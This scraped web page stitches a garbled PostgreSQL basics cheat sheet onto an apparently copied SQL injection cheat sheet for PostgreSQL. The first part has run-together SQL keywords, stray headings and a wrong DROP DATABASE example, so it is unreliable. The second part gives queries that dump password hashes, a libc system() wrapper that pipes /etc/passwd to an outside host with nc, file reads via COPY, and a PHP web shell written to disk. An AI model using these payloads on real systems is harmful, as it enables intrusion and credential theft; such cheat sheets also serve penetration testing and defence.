Cheat Sheet Postgresql

admin



  1. Postgres Command Line
  2. Postgresql Cheat Sheet Pdf
  3. Cheat Sheet Postgresql Pdf
  4. Postgresql Cheat Sheet 9.5

Introduction to the PostgreSQL cheat sheet

The PostgreSQL offers scaling, storage flexibility, and ease of database management for developers, DBAs, and other technical professionals. Because of PostgreSQL’s ability to offer architecture stability along with an extensive coding capability, the plethora of commands and statements are endless. That’s a good thing. What’s even better is having a handy list of the SQL commands you’re likely to use regularly. Well, some of the most popular ones are featured here in Part 2 of The PostgreSQL Cheat Sheet, so take a few moments to review it now.

  • The PostgreSQL cheat sheet page provides you with the common PostgreSQL commands and statements that enable you to work with PostgreSQL quickly and effectively.
  • PostgreSQL cheat sheet Author: Administrator Created Date: 5/11/2006 10:02:16 PM.
  • PostgreSQL; Lorenzo Alberton. PostgreSQL cheat sheet.gif, pdf, png Lorenzo Alberton. PostgreSQL cheat sheet backup Essential PostgreSQL by Leo Hsu and Regina Obe.pdf.

Prerequisites to using PostgreSQL SQL commands in psql

PostgreSQL Cheat Sheet tries to provide a basic reference for beginner and advanced developers, lower the entry barrier for newcomers, and help veterans refresh the old tricks. PostgreSQL also is known as Postgres, is a free and open-source relational database management system (RDBMS) emphasizing extensibility and SQL compliance.

  • Be sure that the object-relational database management systemPostgreSQL installed on your OS.

  • At the command line psql, check the PostgreSQL version with the command psql -V.

  • You’ll also need PostgreSQL database accessibility to try out the samples shown in this PostgreSQL cheat sheet.

Sheet

NOTE: Here are some useful tips regarding commands. When writing code in psql, always end your SQL statement with a semicolon (;). If you don’t and push Return, your code will extend to the next line of code without breaking at the place where you wanted it to end.

Another tip for writing SQL statements is to remember to enclose your strings in PostgreSQL with singular quotes, not doubles. This one is correct: 'string here' for example. A syntax error will happen if you use doubles.

Finally, to quickly get away from a long results list or a command you started or completed, push CTRL+C.

Accessing PostgreSQL using the ‘psql’ command line interface

Psql cheat sheet pdf
  • From your server on your localhost, connect to your database in PostgreSQL with the command psql.
psql postgres
  • Alternatively to the above command, input your username, host, and then database name to make a Postgres database connection.
psql -U some_username -h 127.0.0.1 -d some_database

NOTE: See the flags in the above code.

  • Your username in Postgres comes after the flag -U
  • The IP address or host domain goes after the flag -h
  • The database PostgreSQL name is inputted after the flag -d

PostgreSQL cheat sheet of useful SQL queries and commands

This PostgreSQL cheat sheet contains some of the most frequently-used commands to perform basic computing software programming functions so that you can code with efficiency.

Use ‘SELECT’ to get a Postgres table’s column names

  • Obtain the names of a table’s columns with the information_schema command:
SELECT*FROM information_schema.columns
WHERE some_table ='some_table';
  • You can also access the names of a public table’s column with the table_schema command:
SELECT*FROM information_schema.columns
WHERE table_schema ='public'
AND some_table ='some_table';

PostgreSQL cheat sheet commands for modifying tables

  • Use the INSERT INTO statement to add a value to a table:
INSERTINTO some_table(col1, col2)VALUES(value1,value2);

NOTE: The above command adds two columns and two values. See (col1, col2) and (value1, value2) in the SQL statement. Place a comma after each indicated column or value within the parenthesis when you have more than one to add to a table.

Cheat Sheet Postgresql
  • Use the INSERT INTO and SELECT statement to add a table’s column data to a different table:
Postgresql commands cheat sheet
INSERTINTO table1(column_list)SELECT column_list FROM table2;

Postgres Command Line

  • Save table updates with the UPDATE statement:
  • Use the UPDATE statement for condition matching in a table:
UPDATE some_table SET col1 = new_val, col2 = new_val WHERE condition;
  • Use the DELETE FROM statement to remove all records from a table in Postgres:

NOTE: An option to remove all records from a table in Postgres is to use the command TRUNCATE followed by naming the table you want to delete.

  • Use the DELETE FROM statement to remove data pertaining to a condition:
DELETEFROM some_table
WHERE condition;

PostgreSQL cheat sheet for managing databases

  • Make a database with the CREATE DATABASE statement:

NOTE: A database may already exist, so to avoid raising an exception, use the IF NOT EXISTS clause after the CREATE DATABASE statement.

  • Use DROP DATABASE to delete a database forever:
DROPDATABASE[IFNOTEXISTS] db_name;

NOTE: You won’t get an error message prompt if you add the IF NOT EXISTS clause.

Use the a PostgreSQL ‘SELECT’ statement to query data

Query data in a table with these various SELECT statement command.

  • Add the wildcard asterisk * symbol to have every record in a PostgreSQL table return in the results page.
  • Indicate which columns to query:
SELECT col1, col2 FROM some_table;
  • Query a filtered table:
  • Include the clause WHERE to specify the columns you want to query:

Postgresql Cheat Sheet Pdf

SELECT some_col, another_col FROM some_table
WHERE some_int >50;

Cheat Sheet Postgresql Pdf

  • Perform a column query and give the column an alias with this statement:

Here are some commands to query in PostgreSQL using operators.

  • Use the operator LIKE to query a character string pattern match:

To query a set of operations in PostgreSQL:

Using the LIKE operator:

SELECT*FROM some_table
WHERECOLUMNLIKE'%value';
  • Use the operator BETWEEN to query a table range:
SELECT*FROM some_table WHERECOLUMNBETWEEN low AND high;
  • Use the operator IN to add more than one condition or value to your WHERE clause in your statement:
SELECT*FROM some_table WHERECOLUMNIN(value1, value2);
  • Use the operator UNION to merge at least two SELECT statement results sets.
  • Use the operator EXCEPT to put together two SELECT statements that will only return rows that are not in the second statement.
SELECT*FROM table1 EXCEPTSELECT*FROM table2;
  • Use the operator INTERSECT to have the results set to reflect every record picked by at least two statements. If a record fails to match each query, it won’t appear in the results set:
  • Use the clause LIMIT to return a limited amount of rows. In the statement below, OFFSET rows are skipped:
SELECT*FROM some_table
LIMITLIMIT OFFSET offset
ORDERBY column_name;

Here are a few SQL statements for querying multiple tables.

  • Make a multiple Postgres table query with the INNER JOIN statement:
SELECT*FROM table1 INNERJOIN table2 ON conditions

Postgresql Cheat Sheet 9.5

  • Make a multiple Postgres table query with the LEFT JOIN statement:
  • Make a multiple Postgres table query with the FULL OUTER JOIN statement:
SELECT*FROM table1 FULLOUTERJOIN table2 ON conditions
  • Make a multiple Postgres table query with the CROSSJOIN statement:
SELECT*FROM table1 CROSSJOIN table2 ON conditions
  • Make a multiple Postgres table query with the NATURAL JOIN statement:
SELECT*FROM table1 NATURALJOIN table2 ON conditions

Here are a few common SELECT statements for displaying table rows.

  • Use the wildcard (*) to show all table rows:
  • Use the ORDER BY clause to sort the order of table rows in the results:
SELECT column_name FROM some_table ORDERBY column_name [ASC|DESC];
  • To group table data, use the clause GROUP BY:
  • Use both clauses HAVING and GROUP BY to specify the criteria for grouping the data results:
SELECT*FROM some_table GROUPBY col1 HAVING condition;

Conclusion on the PostgreSQL cheat sheet

A helpful PostgreSQL cheat sheet is meant to help you reduce the time you spend on your daily coding projects. Make it an accessible reference of common SQL statements and other commands are at your fingertips. This way, you won’t have to wonder if the syntax is off the mark. The most beneficial result is that you’ll likely cut down on unnecessarily raised exceptions every day.

Some useful syntax reminders for SQL Injection into PostgreSQL databases…

This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

The complete list of SQL Injection Cheat Sheets I’m working is:

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

VersionSELECT version()
CommentsSELECT 1; –comment
SELECT /*comment*/1;
Current UserSELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
List UsersSELECT usename FROM pg_user
List Password HashesSELECT usename, passwd FROM pg_shadow — priv
Password CrackerMDCrack can crack PostgreSQL’s MD5-based passwords.
List PrivilegesSELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA AccountsSELECT usename FROM pg_user WHERE usesuper IS TRUE
Current DatabaseSELECT current_database()
List DatabasesSELECT datname FROM pg_database
List ColumnsSELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
List TablesSELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column NameIf you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
Select Nth RowSELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth CharSELECT substr(‘abcd’, 3, 1); — returns c
Bitwise ANDSELECT 6 & 2; — returns 2
SELECT 6 & 1; –returns 0
ASCII Value -> CharSELECT chr(65);
Char -> ASCII ValueSELECT ascii(‘A’);
CastingSELECT CAST(1 as varchar);
SELECT CAST(’1′ as int);
String ConcatenationSELECT ‘A’ || ‘B’; — returnsAB
If StatementIF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead.
Case StatementSELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
Avoiding QuotesSELECT CHR(65)||CHR(66); — returns AB
Time DelaySELECT pg_sleep(10); — postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here .
Make DNS RequestsGenerally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.

Command ExecutionCREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
Local File AccessCREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
DROP TABLE mytest mytest;Write to a file:

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try.
– priv user can also read/write files by mapping libc functions

Hostname, IP AddressSELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
Create UsersCREATE USER test1 PASSWORD ‘pass1′; — priv
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
Drop UsersDROP USER test1; — priv
Make User DBAALTER USER test1 CREATEUSER CREATEDB; — priv
Location of DB filesSELECT current_setting(‘data_directory’); — priv
SELECT current_setting(‘hba_file’); — priv
Default/System Databasestemplate0
template1

Tags: cheatsheet, database, pentest, postgresql, sqlinjection

Posted in SQL Injection